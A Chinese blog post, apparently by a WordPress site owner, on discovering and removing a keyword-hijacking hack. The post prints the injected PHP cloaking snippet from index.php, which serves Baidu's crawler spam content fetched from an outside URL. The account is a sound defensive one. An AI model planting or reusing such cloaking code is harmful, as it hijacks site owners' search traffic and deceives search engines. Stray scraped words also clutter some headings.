個人網站被黑了,關鍵詞被劫持,總結一下是怎麼解決的。

一、發現被黑,網站被黑的症狀php

      兩年前本身用wordpress搭了一個網站,平時沒事寫寫文章玩玩。可是前些日子,忽然發現網站的流量忽然變小,site了一下百度收錄,發現出了大問題,網站被黑了。大多數百度抓取收錄的頁面title和description被篡改,以下圖,title標題被改爲xx友情連接,描述description是一些廣告網址。可是點進去之後,訪問正常,頁面顯示正常,頁面源代碼也正常,絲毫沒有被篡改的痕跡。可是,爲何百度爬蟲會抓取到這些廣告文字呢,這些文字哪裏來的?html

 

 

二、本身猜測了一下緣由,頁面和百度抓取收錄顯示不一致。查服務器日誌方案不可行。chrome

     網站實際頁面和百度排蟲收錄顯示不一致,網站源代碼確定被了,但怎麼改的,改在哪裏不知道,服務器裏代碼文件有幾百個,一個個檢查,一行行看源代碼確定不現實。首先想到了檢查服務器日誌。可是問題是不知道駭客哪天改的,因此只能調出了幾個星期的服務器日誌來檢查。但是,檢查日誌也是龐大的工程,並且對此經驗不足,也很費事,也不必定有結果。所以,只能又尋求新的辦法。瀏覽器

 

三、找到了問題解決的關鍵路線,使用useragent-watch服務器

     頁面內容沒變,但百度排蟲抓取錯了,問題確定出在爬蟲抓取身上。因此若是能看到排蟲抓取的整個流程,或許會會找到答案。一番研究以後,找到了一個工具「user-agent-switcher」,能夠模擬各類設備和搜索引擎排蟲,chrome和火狐瀏覽器都有插件能夠安裝。chrome安裝useragent-watch以後,添加百度爬蟲useragent 設置:Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)。如圖。網絡

其餘搜索引擎useragent:http://hi.baidu.com/romicboy/item/afc8d8d217278d5bd63aae22ide

 

     設置完之後,切換到模擬百度爬蟲狀態,再次訪問個人網站,此次果真現原形了,網站此次跳到了另外一個網站頁面,這個頁面內容就是,我網站在百度上顯示的那些廣告信息,以下圖。再把useragent切換回來,輸入個人網站域名,此次訪問一切正常。此次能夠下結論了,問題是在useragent上。駭客確定修改了網站的源代碼,並且是在源代碼里加了判斷語句,若是是當前請求的useragent是搜索引器爬蟲,就把排蟲引到把廣告頁面,若是是其餘的就正常執行的。wordpress

 

四、找到被修改的源代碼工具

     雖然找到了問題緣由,可是該怎麼找到被修改的文件呢。不過,瞭解了wordpress源代碼文件執行順序流程,一切就很簡單了,以下圖,按照順序一個個文件找很快就能找到。網站

 

 

       登陸到ftp,按照文件首先找到了index.php文件,果真,運氣不錯,第一個文件就是被修改的。駭客在代碼最開始就添加了以下圖的代碼。

 

五、解釋下這段php代碼的意思:

$file="http://www.XXXX.com/XXXX/X.htm";
$referer=$_SERVER["HTTP_REFERER"];//來路的網址url
$agent= strtolower($_SERVER["HTTP_USER_AGENT"]);//當前請求的內容轉化成小寫

if(strstr($referer,"baidu")&&strstr($referer,"456"))//若是是從百度點到該頁的
{
   Header("Location: $url");//轉到原來的正常url
}
if(ereg("http://www.baidu.com/search/spider.htm",$agent))//若是是百度排蟲
{
	
	
		$content=file_get_contents($file);//轉到以前定義的那個url頁面
		echo $content;
	
        exit;

}

 把這一段刪了,就ok了。從新提交百度,讓百度從新抓取,過了幾天百度快照更新就行了。

 注:一開始文章裏「駭客」是寫的「黑客」,產生了一些爭議。百度了一下二者的區別:

黑客一詞,原指熱心於計算機技術,水平高超的電腦專家,尤爲是程序設計人員。 但到了今天,黑客一詞已被用於泛指那些專門利用電腦搞破壞或惡做劇的傢伙。不少人每每把黑客與駭客渾餚,其實他們存在着本質的不一樣,通俗上講駭客是入是那些利用網絡漏洞破壞網絡的人。有些黑客逾越尺度,運用本身的知識去作出有損他人權益的事情,咱們就稱這種人爲駭客。
相關文章
相關標籤/搜索